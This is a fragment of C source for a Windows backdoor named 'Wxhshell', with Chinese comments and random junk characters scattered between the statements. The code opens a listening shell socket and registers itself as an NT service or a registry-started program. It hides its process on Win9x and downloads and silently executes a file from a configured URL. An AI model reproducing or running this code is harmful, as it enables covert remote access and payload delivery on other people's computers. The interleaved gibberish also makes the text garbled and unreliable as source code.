O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k-V I9H!, if(!hProcess) return 0; e({fY.)SGo R9h>I3F=c if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )7GLS\uf<% br Z,s CloseHandle(hProcess); i ,pN1_- _AYC|R| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q)`gPX3F if(hProcess==NULL) return 0; ShJK&70O k0_$M{@Y HMODULE hMod; drKjLo[y char procName[255]; xwnoZ&h unsigned long cbNeeded; _]xt65TL GrR0RwnH)? if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ie@`S&.8 T e j%;%`C- CloseHandle(hProcess); ]A72)1 8A^jD(| if(strstr(procName,"services")) return 1; // 以服务启动 rEyz|k: c5E#QV0&v~ return 0; // 注册表启动 RO{@RhnV } a4(?]ND~6 =6L*!JP< // 主模块
{kPe#n>xT int StartWxhshell(LPSTR lpCmdLine) pEVgJ/> { /.)[9bQ< SOCKET wsl; .S!>9X,
BOOL val=TRUE; a-5HIY5 int port=0; %gu$_S struct sockaddr_in door; P$18Xno{ px|>v8 if(wscfg.ws_autoins) Install(); f[Fgh@4cj aLKMDiT port=atoi(lpCmdLine); R+E_#lP_$ ~J1;tZS if(port<=0) port=wscfg.ws_port; qsihQd e(~'pk"mZ WSADATA data; SgpZ;\_ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ],\sRQbv& y98JiNq if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3zB|!pC6s setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `u#;MUg door.sin_family = AF_INET; 2"leUur~rO door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Sg|3T8bGT door.sin_port = htons(port); f4'El2>-86 v`S2M if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #9D/jYK1X closesocket(wsl); .QXG"R return 1; >'aG/( } d$fvg8^ "($Lx if(listen(wsl,2) == INVALID_SOCKET) { 9jO`gWxV8* closesocket(wsl); &_9YLXtMi; return 1; 'u(=eJ@1 } [J)/Et Wxhshell(wsl); 7`IUMYl#~ WSACleanup(); cgs3qI -,QKTxwo> return 0; e^k!vk-SLF ;Y'8:ncDn } 6|
*(dE2x( 7q%|4Z-~ // 以NT服务方式启动 ^^7L"je]g VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) euV $2Fg { @s%X DWORD status = 0; i}PK$sa#c DWORD specificError = 0xfffffff; ?}'N_n ys J?UA:u serviceStatus.dwServiceType = SERVICE_WIN32; /Jxq
3D)v serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^W
Y8-6 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `FA)om serviceStatus.dwWin32ExitCode = 0; &
u$(NbK serviceStatus.dwServiceSpecificExitCode = 0; vG ]GQ# serviceStatus.dwCheckPoint = 0; x37/cu serviceStatus.dwWaitHint = 0; s0cs'Rg nJFk4v4:2 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .E+OmJwD if (hServiceStatusHandle==0) return; "jL1.9%" tJ=3'?T_k status = GetLastError(); (M ]XNn if (status!=NO_ERROR) |DN^NhtE { K;oV"KRK serviceStatus.dwCurrentState = SERVICE_STOPPED; o]Z
_@VI serviceStatus.dwCheckPoint = 0; Hf VHI1f serviceStatus.dwWaitHint = 0; z)4UMR#b& serviceStatus.dwWin32ExitCode = status; ;>NP.pnA) serviceStatus.dwServiceSpecificExitCode = specificError; (VgNb&Yo9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7:n?PN(p6a return; (y1$MYZQ } C,o: VmN}FMGN serviceStatus.dwCurrentState = SERVICE_RUNNING; DH5bpg&T serviceStatus.dwCheckPoint = 0; b,#`n serviceStatus.dwWaitHint = 0; 8y$5oD6g9 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m</]D WJ } }>2t&+v+ gaQ[3g // 处理NT服务事件,比如:启动、停止 w{PUj VOID WINAPI NTServiceHandler(DWORD fdwControl) 0 _Q*E3 { JXH",""bq switch(fdwControl) glv ;C/l { ?4^};wDb2 case SERVICE_CONTROL_STOP: ,09DBxQq, serviceStatus.dwWin32ExitCode = 0; wGg0hL serviceStatus.dwCurrentState = SERVICE_STOPPED; }FrEF\}]_7 serviceStatus.dwCheckPoint = 0; '%R<" serviceStatus.dwWaitHint = 0; 6\NvG,8 { -*?p F_*w SetServiceStatus(hServiceStatusHandle, &serviceStatus); R"@7m!IA } v@VLVf)>9^ return; HLVQ7 case SERVICE_CONTROL_PAUSE: &x`&03X serviceStatus.dwCurrentState = SERVICE_PAUSED; Di:{er(p break; Q4RpK(N case SERVICE_CONTROL_CONTINUE: Nepi|{ serviceStatus.dwCurrentState = SERVICE_RUNNING; BU`ckK\( break; )X/*($SuA case SERVICE_CONTROL_INTERROGATE: vX ?aB!nkw break; _=pWG^a }; KyT uF SetServiceStatus(hServiceStatusHandle, &serviceStatus); iHPUmTus-- } Z a!
gbt `19qq] // 标准应用程序主函数 U_]=E<el int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hb+X}7c$ { E Zi &] G~"z_ ( // 获取操作系统版本 u$C\E<G^ OsIsNt=GetOsVer(); h\(B#SN GetModuleFileName(NULL,ExeFile,MAX_PATH); 6
Ew@L<v RT,:hH // 从命令行安装 a"x}b if(strpbrk(lpCmdLine,"iI")) Install(); bl=ku<}@ E>E*ZZuhj // 下载执行文件 P$g^vS+ if(wscfg.ws_downexe) { (~JwLe@a if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rvwa!YY} WinExec(wscfg.ws_filenam,SW_HIDE); W RF.[R" } 0LdJZP F>*{e if(!OsIsNt) { +~N!9eMc // 如果时win9x,隐藏进程并且设置为注册表启动 =~&VdPZ HideProc(); vB.l0!c\e_ StartWxhshell(lpCmdLine); [@/ /#}5v } zVw:7- else Or7
mD if(StartFromService()) &=X.*H% // 以服务方式启动 |jsb@ StartServiceCtrlDispatcher(DispatchTable); uAUp5XP|Z else S`0NPGn;@[ // 普通方式启动 28a$NP\KW StartWxhshell(lpCmdLine); sf$o(^P9\A 8] `Ru5nd return 0; / 2xSNalC }
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